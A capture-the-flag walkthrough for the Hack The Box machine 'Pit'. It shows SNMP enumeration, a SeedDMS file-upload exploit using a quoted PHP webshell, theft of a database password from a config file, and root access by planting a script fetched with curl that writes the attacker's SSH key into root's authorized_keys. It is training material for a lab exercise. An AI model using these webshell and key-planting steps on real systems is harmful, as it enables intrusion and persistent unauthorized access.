Hack-The-Box-walkthrough[pit]

introduce

OS: Linux
Difficulty: Medium
Points: 30
Release: 15 May 2021
IP: 10.10.10.241

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
6
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.241
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http nginx 1.14.1
9090/tcp open ssl/zeus-admin?

Initial Nmap scan reveals the machine is running SSH and HTTP/s service. Port 9090 is
HTTPS, the TLS certificate discloses hostname. Let’s add hostname to hosts file.

1
10.10.10.241 pit.htb dms-pit.htb

The HTB tweet gives us a small hint about the box. “Walk”, as in SNMP.

Let’s do a quick UDP ping and find whether SNMP port is open or closed.

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# nping --udp -c 2 -p 161 pit.htb

Starting Nping 0.7.91 ( https://nmap.org/nping ) at 2021-05-21 12:27 EDT
SENT (0.0718s) UDP 10.10.14.18:53 > 10.10.10.241:161 ttl=64 id=30254 iplen=28
SENT (1.0721s) UDP 10.10.14.18:53 > 10.10.10.241:161 ttl=64 id=30254 iplen=28

Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 2 (56B) | Rcvd: 0 (0B) | Lost: 2 (100.00%)
Nping done: 1 IP address pinged in 2.11 seconds

As you can see we can able to send UDP packets to SNMP port. It is open, we can confirm by
running NMAP scan on the port.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# nmap -sU -p161,162 -sV pit.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 12:28 EDT
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.35s latency).

PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp filtered snmptrap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.63 seconds

As you can see we got the version information of SNMP and it also disclosed it is using ‘Public’
community string for authentication. Public community string is used as password to send
request to SNMP server to reveal information and it is default community string. Public string
has only read access, it cannot write to SNMP.

Let’s find what SNMP can disclose for us. We will use below perl script, as it can perform multi-
threading and parse usable information.

  • snmp

For NetAddr Error: https://metacpan.org/pod/release/MIKER/NetAddr-IP-4.079/IP.pm#INSTALLATION

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# perl snmpbw.pl pit.htb public 2 1
SNMP query: 10.10.10.241
Queue count: 0
SNMP SUCCESS: 10.10.10.241

If you have multiple IPs to scan give a text file and increase the thread size from 1 to 8 or 16 or
32. Upon completion it generates a file (named as IP of target) with all the information it has
collected.

Let’s read useful information from the result.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# head 10.10.10.241.snmp
.1.3.6.1.2.1.1.1.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8
19:01:30 UTC 2021 x86_64
.1.3.6.1.2.1.1.2.0 = OID: .1.3.6.1.4.1.8072.3.2.10
.1.3.6.1.2.1.1.3.0 = Timeticks: (6114324) 16:59:03.24
.1.3.6.1.2.1.1.4.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
.1.3.6.1.2.1.1.5.0 = STRING: pit.htb
.1.3.6.1.2.1.1.6.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)
-----SNIP--------
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: /var/www/html/seeddms51x/seeddms
.1.3.6.1.4.1.2021.9.1.3.1 = STRING: /dev/mapper/cl-root
.1.3.6.1.4.1.2021.9.1.3.2 = STRING: /dev/mapper/cl-seeddms
-----SNIP--------
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/
bin/monitor
-----SNIP--------
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
-----SNIP--------
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
09:59:08 up 17:00, 2 users, load average: 0.00, 0.00, 0.00
-----SNIP--------

We got Linux Kernel version, web directory, OS version, username and binary location. These
information will be useful in further steps.

Let’s access HTTPS service.

1
https://10.10.10.241:9090/

If we read the page source, the we’d find that this is a ”cockpit web console”, it allows admin/
users to perfrom limited/Administrative tasks on server.

getshell

Let’s do a quick exploit search.

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# searchsploit "cockpit"
------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery | php/webapps/44567.txt
Cockpit CMS 0.6.1 - Remote Code Execution | php/webapps/49390.txt
Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated) | multiple/webapps/49397.txt
openITCOCKPIT 3.6.1-2 - Cross-Site Request Forgery | php/webapps/47305.py
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

I tried SSRF for version 234 and it is not useful in our situation.
Let’s check the other HTTP server.

It is forbidden for us to access. Perhaps there’s a different directory which we can access. I ran
GoBuster and found out nothing.
Code Execution
In SNMP dump, we saw something related to DMS.

1
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: /var/www/html/seeddms51x/seeddms

Upon quick google, we find that “SeedDMS” is an open-source document management system.
Let’s try to append the directory name in web address bar and access.

1
http://dms-pit.htb/seeddms51x/seeddms/out/out.Login.php?referuri=%2Fseeddms51x%2Fseeddms%2F

We get this login page. If we try to login via common credentials then it fails. But, if we try the
username which we found via SNMP enumeration then it would work.

1
michelle/michelle

Once we login, we’d see a note from administrator saying that they have upgraded the software
to 5.1.15 from 5.1.10.

Let’s do quick search for an exploit to this version.

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# searchsploit "seeddms"
------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
SeedDMS 5.1.18 - Persistent Cross-Site Scripting | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution | php/webapps/47022.txt
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

There’s no any exploit is available to 5.1.15 version. I tried 5.1.18 XSS but it didn’t work. But for
some reason the RCE for version 5.1.11 works.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# cat /usr/share/exploitdb/exploits/php/webapps/47022.txt
# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code:
<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

We just need to upload webshell on machine and access via from default directory and
document ID. The file name will be changed to 1.php. For some reason we webshell which
gives reverse connection doesn’t work, so we have to use the above mentioned php code to
execute commands.

Save that php code in file and we need to upload it in the “Michelle’s” folder.

It doesn’t really matter what you name the file, it get turned to 1.php. If you look over
“download” button the you’d find the document ID, which is required to access the php file.

Note: On machine a clean-up script is running and it deletes the uploaded file after every 5
minutes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=cat%20/etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd:x:998:995:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
sssd:x:996:992:User for sssd:/:/sbin/nologin
chrony:x:995:991::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
michelle:x:1000:1000::/home/michelle:/bin/bash
setroubleshoot:x:994:990::/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:993:989:User for cockpit-ws:/nonexisting:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx:x:992:988:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-wsinstance:x:991:987:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rngd:x:990:986:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin

We got command execution. But, due to some reason we can’t able to get reverse connection
on our machine. Let’s search for any stored credentials on target machine.

Initial Access
If we visit the configuration directory and access the settings.xml file then we will get MYSQL
creds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
view-source:http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=cat%20../../../conf/settings.xml

<pre><?xml version="1.0" encoding="UTF-8"?>
<configuration>
<site>
<!-- siteName: Name of site used in the page titles. Default: SeedDMS
- footNote: Message to display at the bottom of every page
- printDisclaimer: if true the disclaimer message the lang.inc files will be print on the bottom of the page
- language: default language (name of a subfolder in folder "languages")
- theme: default style (name of a subfolder in folder "styles")
-->
<display siteName="SeedDMS" footNote="SeedDMS free document management system - www.seeddms.org" printDisclaimer="true" language="en_GB" theme="bootstrap" previewWidthList="40" previewWidthDetail="100" availablelanguages="" showFullPreview="false" convertToPdf="false" previewWidthMenuList="40" previewWidthDropFolderList="100" maxItemsPerPage="0" incItemsPerPage="0">
</display>
<!-- strictFormCheck: Strict form checking. If set to true, then all fields in the form will be checked for a value. If set to false, then (most) comments and keyword fields become optional. Comments are always required when submitting a review or overriding document status.
- viewOnlineFileTypes: files with one of the following endings can be viewed online (USE ONLY LOWER CASE CHARACTERS)
- enableConverting: enable/disable converting of files
- enableEmail: enable/disable automatic email notification
- enableUsersView: enable/disable group and user view for all users
- enableFullSearch: false to don't use fulltext search
- enableLanguageSelector: false to don't show the language selector after login
- enableClipboard: false to hide the clipboard
- enableFolderTree: false to don't show the folder tree
- expandFolderTree: 0 to start with tree hidden
- 1 to start with tree shown and first level expanded
- 2 to start with tree shown fully expanded
- stopWordsFile: path to stop word file for indexer
- sortUsersInList: how to sort users in lists ('fullname' or '' (default))
-->
<edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
</edition>
<!-- enableCalendar: enable/disable calendar
- calendarDefaultView: calendar default view ("w" for week,"m" for month,"y" for year)
- firstDayOfWeek: first day of the week (0=sunday, 6=saturday)
-->
<calendar enableCalendar="true" calendarDefaultView="y" firstDayOfWeek="0">
</calendar>
<webdav enableWebdavReplaceDoc="true"/></site>

<system>
<!-- rootDir: Path to where SeedDMS is located
- httpRoot: The relative path in the URL, after the domain part. Do not include the
- http:// prefix or the web host name. e.g. If the full URL is
- http://www.example.com/seeddms/, set $_httpRoot = "/seeddms/".
- If the URL is http://www.example.com/, set $_httpRoot = "/".
- contentDir: Where the uploaded files are stored (best to choose a directory that
- is not accessible through your web-server)
- stagingDir: Where partial file uploads are saved
- luceneDir: Where the lucene fulltext index iѕ saved
- logFileEnable: set false to disable log system
- logFileRotation: the log file rotation (h=hourly, d=daily, m=monthly)
- enableLargeFileUpload: support for jumploader
- partitionsize: size of chunk uploaded by jumploader
- dropFolderDir: where files for document upload are located
- cacheDir: where the preview images are saved
-->
<server rootDir="/var/www/html/seeddms51x/seeddms/" httpRoot="/seeddms51x/seeddms/" contentDir="/var/www/html/seeddms51x/data/" stagingDir="/var/www/html/seeddms51x/data/staging/" luceneDir="/var/www/html/seeddms51x/data/lucene/" logFileEnable="true" logFileRotation="d" enableLargeFileUpload="false" partitionSize="2000000" cacheDir="/var/www/html/seeddms51x/data/cache/" dropFolderDir="" backupDir="" repositoryUrl="" maxUploadSize="" enableXsendfile="false">
</server>

<!-- enableGuestLogin: If you want anybody to login as guest, set the following line to true
- note: guest login should be used only in a trusted environment
- enablePasswordForgotten: Allow users to reset their password
- restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
- enableUserImage: enable users images
- disableSelfEdit: if true user cannot edit his own profile
- passwordStrength: minimum strength of password, set to 0 to disable
- passwordExpiration: number of days after password expires
- passwordHistory: number of remembered passwords
- passwordStrengthAlgorithm: algorithm used to calculate password strenght (simple or advanced)
- encryptionKey: arbitrary string used for creating identifiers
-->
<authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0">
<connectors>
<!-- ***** CONNECTOR LDAP *****
- enable: enable/disable connector
- type: type of connector ldap / AD
- host: hostname of the authentification server
- URIs are supported, e.g.: ldaps://ldap.host.com
- port: port of the authentification server
- baseDN: top level of the LDAP directory tree
-->
<connector enable="false" type="ldap" host="ldaps://ldap.host.com" port="389" baseDN="" bindDN="" bindPw="">
</connector>
<!-- ***** CONNECTOR Microsoft Active Directory *****
- enable: enable/disable connector
- type: type of connector ldap / AD
- host: hostname of the authentification server
- port: port of the authentification server
- baseDN: top level of the LDAP directory tree
- accountDomainName: sample: example.com
-->
<connector enable="false" type="AD" host="ldap.example.com" port="389" baseDN="" accountDomainName="example.com" bindDN="" bindPw="">
</connector>
</connectors>
</authentication>
<!--
- dbDriver: DB-Driver used by adodb (see adodb-readme)
- dbHostname: DB-Server
- dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
- dbUser: username for database-access
- dbPass: password for database-access
-->
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
</database>
<!-- smtpServer: SMTP Server hostname
- smtpPort: SMTP Server port
- smtpSendFrom: Send from
-->
<smtp smtpServer="localhost" smtpPort="25" smtpSendFrom="seeddms@localhost" smtpUser="" smtpPassword=""/>
</system>


<advanced>
<!-- siteDefaultPage: Default page on login. Defaults to out/out.ViewFolder.php
- rootFolderID: ID of root-folder (mostly no need to change)
- titleDisplayHack: Workaround for page titles that go over more than 2 lines.
-->
<display siteDefaultPage="" rootFolderID="1" titleDisplayHack="true" showMissingTranslations="false">
</display>
<!-- guestID: ID of guest-user used when logged in as guest (mostly no need to change)
- adminIP: if enabled admin can login only by specified IP addres, leave empty to avoid the control
- NOTE: works only with local autentication (no LDAP)
-->
<authentication guestID="2" adminIP="">
</authentication>
<!-- enableAdminRevApp: false to don't list administrator as reviewer/approver
- versioningFileName: the name of the versioning info file created by the backup tool
- workflowMode: 'traditional' or 'advanced'
- enableVersionDeletion: allow to delete versions after approval
- enableVersionModification: allow to modify versions after approval
- enableDuplicateDocNames: allow duplicate names in a folder
-->
<edition enableAdminRevApp="false" versioningFileName="versioning_info.txt" workflowMode="traditional" enableVersionDeletion="true" enableVersionModification="true" enableDuplicateDocNames="true" enableOwnerRevApp="false" enableSelfRevApp="false" presetExpirationDate="" overrideMimeType="false" initialDocumentStatus="0" enableAcknowledgeWorkflow="" enableRevisionWorkflow="" advancedAcl="false" enableUpdateRevApp="false" removeFromDropFolder="false" allowReviewerOnly="false">
</edition>
<!-- enableNotificationAppRev: true to send notifation if a user is added as a reviewer or approver
-->
<notification enableNotificationAppRev="true" enableOwnerNotification="false" enableNotificationWorkflow="false">
</notification>
<!-- coreDir: Path to SeedDMS_Core (optional)
- luceneClassDir: Path to SeedDMS_Lucene (optional)
- contentOffsetDir: To work around limitations in the underlying file system, a new
- directory structure has been devised that exists within the content
- directory ($_contentDir). This requires a base directory from which
- to begin. Usually leave this to the default setting, 1048576, but can
- be any number or string that does not already exist within $_contentDir.
- maxDirID: Maximum number of sub-directories per parent directory. Default: 0, use 31998 (maximum number of dirs in ext3) for a multi level content directory.
- updateNotifyTime: users are notified about document-changes that took place within the last "updateNotifyTime" seconds
- extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path
-->
<server coreDir="" luceneClassDir="" contentOffsetDir="1048576" maxDirID="0" updateNotifyTime="86400" extraPath="/var/www/html/seeddms51x/pear/" maxExecutionTime="30" cmdTimeout="10">
</server>
<converters target="fulltext">
<converter mimeType="application/pdf">pdftotext -nopgbrk %s - | sed -e 's/ [a-zA-Z0-9.]\{1\} / /g' -e 's/[0-9.]//g'</converter>
<converter mimeType="application/msword">catdoc %s</converter>
<converter mimeType="application/vnd.ms-excel">ssconvert -T Gnumeric_stf:stf_csv -S %s fd://1</converter>
<converter mimeType="audio/mp3">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
<converter mimeType="audio/mpeg">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
<converter mimeType="text/plain">cat %s</converter>
</converters>

</advanced>

<extensions><extension name="example"/></extensions></configuration>
</pre>

the password is:

1
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">

MYSQL DB is not accessible to other IPs as it is bound to localhost only. Let’s try these this
password with admin/root/michelle user on “cockpit web console”. I tried these creds to access
SSH, but unfortunately SSH is configured to allow only Public-Private keys not password.

and we got user.txt

1
2
3
4
5
6
[michelle@pit ~]$ id
uid=1000(michelle) gid=1000(michelle) groups=1000(michelle) context=user_u:user_r:user_t:s0
[michelle@pit ~]$ ls
user.txt
[michelle@pit ~]$ cat user.txt
bc22c2a8b56625680ca457a243dd2a84

I ran through LinPeas on the machine in search for any paths to escalate privileges, but couldn’t
find any.

Privilege Escalation

If we remember SNMP dump we found that there’s a binary file is being run on the machine.

1
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/bin/monitor

Let’s check this file out.

1
2
3
4
[michelle@pit ~]$ file /usr/bin/monitor
/usr/bin/monitor: Bourne-Again shell script, ASCII text executable
[michelle@pit ~]$ ls -la /usr/bin/monitor
-rwxr--r--. 1 root root 88 Apr 18 2020 /usr/bin/monitor

It’s an ASCII file and we have permission to read it.

1
2
3
4
5
6
7
[michelle@pit ~]$ cat /usr/bin/monitor 
#!/bin/bash

for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done

It’s a script being run from another location. Let’s check that out.

1
2
[michelle@pit ~]$ ls -la /usr/local/monitoring/
ls: cannot open directory '/usr/local/monitoring/': Permission denied

We cannot list content of this directory, let’s check what permission we have for this directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[michelle@pit ~]$ ls -la /usr/local/
total 0
drwxr-xr-x. 13 root root 149 Nov 3 2020 .
drwxr-xr-x. 12 root root 144 May 10 05:06 ..
drwxr-xr-x. 2 root root 6 Nov 3 2020 bin
drwxr-xr-x. 2 root root 6 Nov 3 2020 etc
drwxr-xr-x. 2 root root 6 Nov 3 2020 games
drwxr-xr-x. 2 root root 6 Nov 3 2020 include
drwxr-xr-x. 2 root root 6 Nov 3 2020 lib
drwxr-xr-x. 3 root root 17 May 10 05:06 lib64
drwxr-xr-x. 2 root root 6 Nov 3 2020 libexec
drwxrwx---+ 2 root root 122 May 21 13:55 monitoring
drwxr-xr-x. 2 root root 6 Nov 3 2020 sbin
drwxr-xr-x. 5 root root 49 Nov 3 2020 share
drwxr-xr-x. 2 root root 6 Nov 3 2020 src

We have read/write/execute permission for this directory and also + is there, it simply means
ACLs are implemented on this directory. In simple terms extended permissions. let’s check the
extended permissions.

1
2
3
4
5
6
7
8
9
10
[michelle@pit ~]$ getfacl /usr/local/monitoring/
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---

As you can see, owner is root, other users have full permission but ‘Michelle’ user has only write
and execute permission. Let’s try to create a file and find out.

1
2
3
[michelle@pit ~]$ echo "test" > /usr/local/monitoring/demo.txt
[michelle@pit ~]$ cat /usr/local/monitoring/demo.txt
test

It worked, we can dump shell file inside this directory and call it via SNMPwalk. First we need to
create a shell file with our SSH public keys, upon execution it should copy keys to root’s SSH
directory.

1
2
3
4
5
6
[michelle@pit ~]$ curl http://10.10.14.18:82/check.sh -o check.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 598 100 598 0 0 862 0 --:--:-- --:--:-- --:--:-- 862
[michelle@pit ~]$ cat check.sh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > /root/.ssh/authorized_keys

Now we need to copy this file to monitoring directory.

1
cp check.sh /usr/local/monitoring/

Make sure you can read the file after copying it to monitoring directory.

1
2
3
[michelle@pit ~]$ cp check.sh /usr/local/monitoring/
[michelle@pit ~]$ cat /usr/local/monitoring/check.sh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > /root/.ssh/authorized_keys

Note: Root is running a clean-up script, the contents of monitoring directory gets removed after
5 minutes.

After copying our shell file, now we need to run SNMPwalk application from Kali Linux to
execute it remotely.

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# snmpwalk -v 1 -c public pit.htb 1.3.6.1.4.1.8072.1.3.2.2.1.2
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor

Note: ‘1.3.6.1.4.1.8072.1.3.2’ is called as OID (Object Identifiers). It is an address used to
uniquely identify managed devices and their statuses in a network.

We can easily match the number for the following numbers 1.3.6.1.4.1 with above SNMP MIB
(management information base) tree structure. The following number 8072 is device/application
manufacturer (netSnmp) and remaining numbers 1.3.2.2.1.2 are part of netExtensions. Below is
the complete description of OID.

1
2
3
{iso(1) identified-organization(3) dod(6) internet(1) private(4) enterprise(1) 8072
netSnmpObjects(1) nsExtensions(3) nsExtendObjects(2) nsExtendConfigTable(2)
nsExtendConfigEntry(1) nsExtendCommand(2)}
  • What is the SNMP OID? How do you use it?
1
2
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/
bin/monitor

As you can see the OID value is given for a string and that string is monitor script. When we run
SNMPwalk from Kali Linux, on target root runs on behalf to execute those script.

Upon SNMPwalk on OID value, we can SSH into machine and read our root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects
MIB search path: /root/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf
Cannot find module (MY-MIB): At line 1 in (none)
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 379Mi 3.1Gi 8.0Mi 330Mi 3.2Gi
Swap: 1.9Gi 0B 1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user

Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles

guest_u user s0 s0 guest_r
